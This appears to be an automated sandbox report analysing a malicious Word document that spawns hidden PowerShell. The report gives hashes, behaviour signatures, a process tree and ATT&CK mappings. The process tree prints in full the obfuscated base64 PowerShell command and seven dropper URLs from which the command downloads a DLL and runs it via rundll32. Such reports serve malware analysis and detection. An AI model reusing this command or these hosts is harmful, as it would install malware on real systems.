Analysis

  • max time kernel
    29s
  • max time network
    30s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    22-01-2021 16:51

General

  • Target

    980a3949995d00c52383ec46cfdb15a05a9ad20aea7fc2a11a834a7ceffb5484.doc

  • Size

    172KB

  • MD5

    adbf380ece03505e885af5b8c696a296

  • SHA1

    4d0b677800ddb1b13adcbb0e2fca31781bc7d2fb

  • SHA256

    980a3949995d00c52383ec46cfdb15a05a9ad20aea7fc2a11a834a7ceffb5484

  • SHA512

    3266d983d4e3913e2793371927e8f7454360d6a6ebfb64aed7acf883518dc379a81612da57d5ca5738993a7ad47e824285edfbe2a6b63c86e2b5eab402ff2caf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://coworkingplus.es/wp-admin/FxmME/

exe.dropper

http://silkonbusiness.matrixinfotechsolution.com/js/q26/

exe.dropper

https://bbjugueteria.com/s6kscx/Z/

exe.dropper

https://www.bimception.com/wp-admin/sHy5t/

exe.dropper

http://armakonarms.com/wp-includes/fz/

exe.dropper

http://alugrama.com.mx/t/2/

exe.dropper

http://homecass.com/wp-content/iF/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\980a3949995d00c52383ec46cfdb15a05a9ad20aea7fc2a11a834a7ceffb5484.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3636
  • C:\Windows\system32\cmd.exe
    cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAHYAQQBSAGkAYQBCAEwAZQAgACgAIgBUADQAIgArACIASwBkADYAIgApACAAKAAgAFsAVAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADUAfQB7ADAAfQB7ADQAfQB7ADEAfQAiACAALQBGACAAJwByAGUAJwAsACcAcgBZACcALAAnAFMAWQAnACwAJwBzAFQAZQAnACwAJwBjAHQATwAnACwAJwBtAC4ASQBvAC4ARABJACcAKQAgACkAOwAgACAAIAAgAFMARQB0ACAAIAA0ADIAOAAgACgAIAAgAFsAVABZAHAAZQBdACgAIgB7ADMAfQB7ADcAfQB7ADAAfQB7ADUAfQB7ADYAfQB7ADIAfQB7ADQAfQB7ADgAfQB7ADEAfQAiAC0AZgAnAEUATQAuAG4ARQBUAC4AJwAsACcAZQByACcALAAnAHQAJwAsACcAUwBZAHMAJwAsACcATQAnACwAJwBzAEUAUgBWAGkAQwBFACcALAAnAFAAbwBJAE4AJwAsACcAdAAnACwAJwBhAE4AYQBnACcAKQApACAAIAA7ACAAIAAkAEoAcgBuAHoAbQBrAHMAPQAkAEEAMQA2AEwAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFkAMQAxAEYAOwAkAE0AMgAwAE0APQAoACcATwAxACcAKwAnADgAVwAnACkAOwAgACAAKABJAHQAZQBNACAAKAAiAFYAQQByAEkAQQBCAGwARQA6AFQANABrACIAKwAiAEQAIgArACIANgAiACkAIAAgACkALgB2AEEAbABVAGUAOgA6ACIAQwByAGUAQQBUAGAARQBkAEkAUgBlAEMAdABgAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACcAUwBuAHUAdgB3ADIAdwB7ADAAJwArACcAfQBWACcAKwAnADQANgAnACsAJwA1ADEAcAB6AHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQApADsAJABFADIAMABWAD0AKAAoACcAQgAxACcAKwAnADMAJwApACsAJwBBACcAKQA7ACAAIAAkADQAMgA4ADoAOgAiAHMARQBjAHUAYABSAGAAaQB0AHkAUABgAFIAYABPAFQAbwBjAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARQBfADkAUQA9ACgAKAAnAEcAJwArACcAOQAxACcAKQArACcATgAnACkAOwAkAFcAcwB4AHcANQAyAHoAIAA9ACAAKAAnAEgAJwArACgAJwA2ADQAJwArACcAQwAnACkAKQA7ACQATAAwADQATgA9ACgAJwBWACcAKwAoACcAMQA2ACcAKwAnAEYAJwApACkAOwAkAFgAZABuADUAeABoAGcAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBTAG4AdQB2AHcAJwArACcAMgB3AHsAMAB9AFYAJwArACgAJwA0ADYANQAnACsAJwAxAHAAJwApACsAJwB6AHsAMAB9ACcAKQAtAEYAWwBDAEgAYQByAF0AOQAyACkAKwAkAFcAcwB4AHcANQAyAHoAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFgAMgA4AEcAPQAoACcAVwAwACcAKwAnADEARQAnACkAOwAkAE8AMwAzADgAXwA3ADcAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABYAGEAcAAxAGwAbQBhAD0AKAAnAHgAJwArACcAIAAnACsAKAAnAFsAJwArACcAIABzAGgAIABiADoAJwArACcALwAvACcAKQArACgAJwBjAG8AJwArACcAdwBvAHIAJwApACsAKAAnAGsAJwArACcAaQBuAGcAcABsACcAKQArACcAdQBzACcAKwAnAC4AJwArACgAJwBlAHMAJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKwAnAC8ARgB4AG0AJwApACsAKAAnAE0ARQAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACcAKwAnACAAWwAnACsAJwAgACcAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKwAnAC8ALwBzAGkAbABrACcAKwAnAG8AJwApACsAKAAnAG4AYgB1ACcAKwAnAHMAaQAnACkAKwAnAG4AZQAnACsAKAAnAHMAcwAuACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAdAAnACsAJwByAGkAeABpAG4AJwArACcAZgBvAHQAZQBjACcAKwAnAGgAcwBvAGwAdQB0AGkAJwApACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAcwAnACkAKwAoACcALwAnACsAJwBxADIANgAnACkAKwAoACcALwAhACcAKwAnAHgAIABbACcAKQArACcAIAAnACsAJwBzAGgAJwArACgAJwAgAGIAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAYgBiAGoAJwArACcAdQAnACkAKwAoACcAZwB1ACcAKwAnAGUAdABlAHIAJwArACcAaQBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AcwA2AGsAJwApACsAKAAnAHMAYwAnACsAJwB4ACcAKQArACcALwAnACsAJwBaACcAKwAoACcALwAhACcAKwAnAHgAJwApACsAJwAgAFsAJwArACcAIAAnACsAJwBzACcAKwAoACcAaAAnACsAJwAgACcAKwAnAGIAcwA6AC8AJwApACsAJwAvACcAKwAoACcAdwB3ACcAKwAnAHcAJwApACsAJwAuAGIAJwArACcAaQAnACsAJwBtACcAKwAnAGMAZQAnACsAJwBwACcAKwAnAHQAaQAnACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAHMASAB5ACcAKwAnADUAdAAvACcAKwAnACEAeAAgAFsAJwArACcAIAAnACsAJwBzACcAKwAnAGgAIABiADoALwAvAGEAcgBtAGEAawAnACkAKwAnAG8AbgAnACsAKAAnAGEAcgAnACsAJwBtAHMALgAnACsAJwBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBpACcAKwAnAG4AJwApACsAKAAnAGMAbAB1ACcAKwAnAGQAZQAnACsAJwBzAC8AZgB6AC8AJwArACcAIQAnACkAKwAnAHgAIAAnACsAKAAnAFsAJwArACcAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8AJwArACcALwBhAGwAJwApACsAKAAnAHUAJwArACcAZwAnACsAJwByAGEAbQBhAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBtACcAKwAnAHgAJwArACcALwAnACsAJwB0AC8AJwArACgAJwAyAC8AIQB4ACcAKwAnACAAJwArACcAWwAgAHMAaAAnACkAKwAoACcAIABiACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBoAG8AJwApACsAJwBtAGUAJwArACgAJwBjAGEAcwBzAC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYwAnACsAJwBvAG4AdAAnACkAKwAoACcAZQBuAHQAJwArACcALwBpAEYAJwArACcALwAnACkAKQAuACIAUgBlAGAAUABsAGAAQQBDAGUAIgAoACgAJwB4ACAAJwArACgAJwBbACAAcwBoACcAKwAnACAAJwApACsAJwBiACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQATwAzADMAOABfADcANwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAHAAYABsAEkAdAAiACgAJABPADUAMwBVACAAKwAgACQASgByAG4AegBtAGsAcwAgACsAIAAkAFUAXwAyAEQAKQA7ACQAUQA5ADkAUAA9ACgAJwBGADgAJwArACcAOABTACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATQB6AHUAYwBoAGoANgAgAGkAbgAgACQAWABhAHAAMQBsAG0AYQApAHsAdAByAHkAewAoAC4AKAAnAE4AJwArACcAZQB3AC0ATwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAcwB5AFMAVABlAE0ALgBuAGUAdAAuAFcARQBCAGMAbABpAGUATgB0ACkALgAiAGQATwBXAGAATgBMAE8AYQBEAGYAYABpAGAATABFACIAKAAkAE0AegB1AGMAaABqADYALAAgACQAWABkAG4ANQB4AGgAZwApADsAJABDADUANwBCAD0AKAAnAEMAMgAnACsAJwA5AEMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFgAZABuADUAeABoAGcAKQAuACIAbABlAE4AYABHAGAAVABoACIAIAAtAGcAZQAgADQANwA2ADYAOQApACAAewAuACgAJwByAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABYAGQAbgA1AHgAaABnACwAKAAoACcAQQBuACcAKwAnAHkAUwB0ACcAKQArACcAcgAnACsAKAAnAGkAbgAnACsAJwBnACcAKQApAC4AIgB0AE8AUwBgAFQAcgBJAGAATgBHACIAKAApADsAJABNADMAOQBTAD0AKAAnAFEAJwArACgAJwA3ACcAKwAnADYATgAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA1ADEAWAA9ACgAJwBLADEAJwArACcANgBGACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwA0AF8ARgA9ACgAJwBWADIAJwArACcAMQBYACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:3452
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -enc IABTAGUAVAAtAHYAQQBSAGkAYQBCAEwAZQAgACgAIgBUADQAIgArACIASwBkADYAIgApACAAKAAgAFsAVAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADUAfQB7ADAAfQB7ADQAfQB7ADEAfQAiACAALQBGACAAJwByAGUAJwAsACcAcgBZACcALAAnAFMAWQAnACwAJwBzAFQAZQAnACwAJwBjAHQATwAnACwAJwBtAC4ASQBvAC4ARABJACcAKQAgACkAOwAgACAAIAAgAFMARQB0ACAAIAA0ADIAOAAgACgAIAAgAFsAVABZAHAAZQBdACgAIgB7ADMAfQB7ADcAfQB7ADAAfQB7ADUAfQB7ADYAfQB7ADIAfQB7ADQAfQB7ADgAfQB7ADEAfQAiAC0AZgAnAEUATQAuAG4ARQBUAC4AJwAsACcAZQByACcALAAnAHQAJwAsACcAUwBZAHMAJwAsACcATQAnACwAJwBzAEUAUgBWAGkAQwBFACcALAAnAFAAbwBJAE4AJwAsACcAdAAnACwAJwBhAE4AYQBnACcAKQApACAAIAA7ACAAIAAkAEoAcgBuAHoAbQBrAHMAPQAkAEEAMQA2AEwAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFkAMQAxAEYAOwAkAE0AMgAwAE0APQAoACcATwAxACcAKwAnADgAVwAnACkAOwAgACAAKABJAHQAZQBNACAAKAAiAFYAQQByAEkAQQBCAGwARQA6AFQANABrACIAKwAiAEQAIgArACIANgAiACkAIAAgACkALgB2AEEAbABVAGUAOgA6ACIAQwByAGUAQQBUAGAARQBkAEkAUgBlAEMAdABgAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACcAUwBuAHUAdgB3ADIAdwB7ADAAJwArACcAfQBWACcAKwAnADQANgAnACsAJwA1ADEAcAB6AHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQApADsAJABFADIAMABWAD0AKAAoACcAQgAxACcAKwAnADMAJwApACsAJwBBACcAKQA7ACAAIAAkADQAMgA4ADoAOgAiAHMARQBjAHUAYABSAGAAaQB0AHkAUABgAFIAYABPAFQAbwBjAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARQBfADkAUQA9ACgAKAAnAEcAJwArACcAOQAxACcAKQArACcATgAnACkAOwAkAFcAcwB4AHcANQAyAHoAIAA9ACAAKAAnAEgAJwArACgAJwA2ADQAJwArACcAQwAnACkAKQA7ACQATAAwADQATgA9ACgAJwBWACcAKwAoACcAMQA2ACcAKwAnAEYAJwApACkAOwAkAFgAZABuADUAeABoAGcAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBTAG4AdQB2AHcAJwArACcAMgB3AHsAMAB9AFYAJwArACgAJwA0ADYANQAnACsAJwAxAHAAJwApACsAJwB6AHsAMAB9ACcAKQAtAEYAWwBDAEgAYQByAF0AOQAyACkAKwAkAFcAcwB4AHcANQAyAHoAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFgAMgA4AEcAPQAoACcAVwAwACcAKwAnADEARQAnACkAOwAkAE8AMwAzADgAXwA3ADcAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABYAGEAcAAxAGwAbQBhAD0AKAAnAHgAJwArACcAIAAnACsAKAAnAFsAJwArACcAIABzAGgAIABiADoAJwArACcALwAvACcAKQArACgAJwBjAG8AJwArACcAdwBvAHIAJwApACsAKAAnAGsAJwArACcAaQBuAGcAcABsACcAKQArACcAdQBzACcAKwAnAC4AJwArACgAJwBlAHMAJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKwAnAC8ARgB4AG0AJwApACsAKAAnAE0ARQAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACcAKwAnACAAWwAnACsAJwAgACcAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKwAnAC8ALwBzAGkAbABrACcAKwAnAG8AJwApACsAKAAnAG4AYgB1ACcAKwAnAHMAaQAnACkAKwAnAG4AZQAnACsAKAAnAHMAcwAuACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAdAAnACsAJwByAGkAeABpAG4AJwArACcAZgBvAHQAZQBjACcAKwAnAGgAcwBvAGwAdQB0AGkAJwApACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAcwAnACkAKwAoACcALwAnACsAJwBxADIANgAnACkAKwAoACcALwAhACcAKwAnAHgAIABbACcAKQArACcAIAAnACsAJwBzAGgAJwArACgAJwAgAGIAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAYgBiAGoAJwArACcAdQAnACkAKwAoACcAZwB1ACcAKwAnAGUAdABlAHIAJwArACcAaQBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AcwA2AGsAJwApACsAKAAnAHMAYwAnACsAJwB4ACcAKQArACcALwAnACsAJwBaACcAKwAoACcALwAhACcAKwAnAHgAJwApACsAJwAgAFsAJwArACcAIAAnACsAJwBzACcAKwAoACcAaAAnACsAJwAgACcAKwAnAGIAcwA6AC8AJwApACsAJwAvACcAKwAoACcAdwB3ACcAKwAnAHcAJwApACsAJwAuAGIAJwArACcAaQAnACsAJwBtACcAKwAnAGMAZQAnACsAJwBwACcAKwAnAHQAaQAnACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAHMASAB5ACcAKwAnADUAdAAvACcAKwAnACEAeAAgAFsAJwArACcAIAAnACsAJwBzACcAKwAnAGgAIABiADoALwAvAGEAcgBtAGEAawAnACkAKwAnAG8AbgAnACsAKAAnAGEAcgAnACsAJwBtAHMALgAnACsAJwBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBpACcAKwAnAG4AJwApACsAKAAnAGMAbAB1ACcAKwAnAGQAZQAnACsAJwBzAC8AZgB6AC8AJwArACcAIQAnACkAKwAnAHgAIAAnACsAKAAnAFsAJwArACcAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8AJwArACcALwBhAGwAJwApACsAKAAnAHUAJwArACcAZwAnACsAJwByAGEAbQBhAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBtACcAKwAnAHgAJwArACcALwAnACsAJwB0AC8AJwArACgAJwAyAC8AIQB4ACcAKwAnACAAJwArACcAWwAgAHMAaAAnACkAKwAoACcAIABiACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBoAG8AJwApACsAJwBtAGUAJwArACgAJwBjAGEAcwBzAC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYwAnACsAJwBvAG4AdAAnACkAKwAoACcAZQBuAHQAJwArACcALwBpAEYAJwArACcALwAnACkAKQAuACIAUgBlAGAAUABsAGAAQQBDAGUAIgAoACgAJwB4ACAAJwArACgAJwBbACAAcwBoACcAKwAnACAAJwApACsAJwBiACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQATwAzADMAOABfADcANwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAHAAYABsAEkAdAAiACgAJABPADUAMwBVACAAKwAgACQASgByAG4AegBtAGsAcwAgACsAIAAkAFUAXwAyAEQAKQA7ACQAUQA5ADkAUAA9ACgAJwBGADgAJwArACcAOABTACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATQB6AHUAYwBoAGoANgAgAGkAbgAgACQAWABhAHAAMQBsAG0AYQApAHsAdAByAHkAewAoAC4AKAAnAE4AJwArACcAZQB3AC0ATwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAcwB5AFMAVABlAE0ALgBuAGUAdAAuAFcARQBCAGMAbABpAGUATgB0ACkALgAiAGQATwBXAGAATgBMAE8AYQBEAGYAYABpAGAATABFACIAKAAkAE0AegB1AGMAaABqADYALAAgACQAWABkAG4ANQB4AGgAZwApADsAJABDADUANwBCAD0AKAAnAEMAMgAnACsAJwA5AEMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFgAZABuADUAeABoAGcAKQAuACIAbABlAE4AYABHAGAAVABoACIAIAAtAGcAZQAgADQANwA2ADYAOQApACAAewAuACgAJwByAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABYAGQAbgA1AHgAaABnACwAKAAoACcAQQBuACcAKwAnAHkAUwB0ACcAKQArACcAcgAnACsAKAAnAGkAbgAnACsAJwBnACcAKQApAC4AIgB0AE8AUwBgAFQAcgBJAGAATgBHACIAKAApADsAJABNADMAOQBTAD0AKAAnAFEAJwArACgAJwA3ACcAKwAnADYATgAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA1ADEAWAA9ACgAJwBLADEAJwArACcANgBGACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwA0AF8ARgA9ACgAJwBWADIAJwArACcAMQBYACcAKQA=
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3552
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Snuvw2w\V4651pz\H64C.dll,AnyString
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2272
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Snuvw2w\V4651pz\H64C.dll,AnyString
            4⤵
            • Loads dropped DLL
            PID:2216

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    System Information Discovery

    3
    T1082

    Query Registry

    2
    T1012

    Replay Monitor

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    Downloads

    • C:\Users\Admin\Snuvw2w\V4651pz\H64C.dll
      MD5

      fd72b95e466340e12b3c490086991b92

      SHA1

      ba29620b0c204678801a0c11bdb59f4ab81a34a4

      SHA256

      205f90e4f94db048a4f10d6f5d4a7ffe06c4f5fcfee42e6b62a83e77215011f0

      SHA512

      8e09e01557f01001386594fb4c59d0d6cd09e3e94b10a0a319b5d16a637f3e2568b7ed743b478c8cfe78d8a3e4880e4de1245767bcc86e41d0697c9e29931f4a

    • \Users\Admin\Snuvw2w\V4651pz\H64C.dll
      MD5

      fd72b95e466340e12b3c490086991b92

      SHA1

      ba29620b0c204678801a0c11bdb59f4ab81a34a4

      SHA256

      205f90e4f94db048a4f10d6f5d4a7ffe06c4f5fcfee42e6b62a83e77215011f0

      SHA512

      8e09e01557f01001386594fb4c59d0d6cd09e3e94b10a0a319b5d16a637f3e2568b7ed743b478c8cfe78d8a3e4880e4de1245767bcc86e41d0697c9e29931f4a

    • memory/2216-17-0x0000000000000000-mapping.dmp
    • memory/2272-15-0x0000000000000000-mapping.dmp
    • memory/3452-7-0x0000000000000000-mapping.dmp
    • memory/3552-14-0x0000014C6A516000-0x0000014C6A518000-memory.dmp
      Filesize

      8KB

    • memory/3552-8-0x0000000000000000-mapping.dmp
    • memory/3552-9-0x00007FFB7F470000-0x00007FFB7FE5C000-memory.dmp
      Filesize

      9.9MB

    • memory/3552-10-0x0000014C6A1C0000-0x0000014C6A1C1000-memory.dmp
      Filesize

      4KB

    • memory/3552-12-0x0000014C6A513000-0x0000014C6A515000-memory.dmp
      Filesize

      8KB

    • memory/3552-11-0x0000014C6A510000-0x0000014C6A512000-memory.dmp
      Filesize

      8KB

    • memory/3552-13-0x0000014C6A800000-0x0000014C6A801000-memory.dmp
      Filesize

      4KB

    • memory/3636-2-0x00007FFB667A0000-0x00007FFB667B0000-memory.dmp
      Filesize

      64KB

    • memory/3636-6-0x00007FFB85E50000-0x00007FFB86487000-memory.dmp
      Filesize

      6.2MB

    • memory/3636-5-0x00007FFB667A0000-0x00007FFB667B0000-memory.dmp
      Filesize

      64KB

    • memory/3636-4-0x00007FFB667A0000-0x00007FFB667B0000-memory.dmp
      Filesize

      64KB

    • memory/3636-3-0x00007FFB667A0000-0x00007FFB667B0000-memory.dmp
      Filesize

      64KB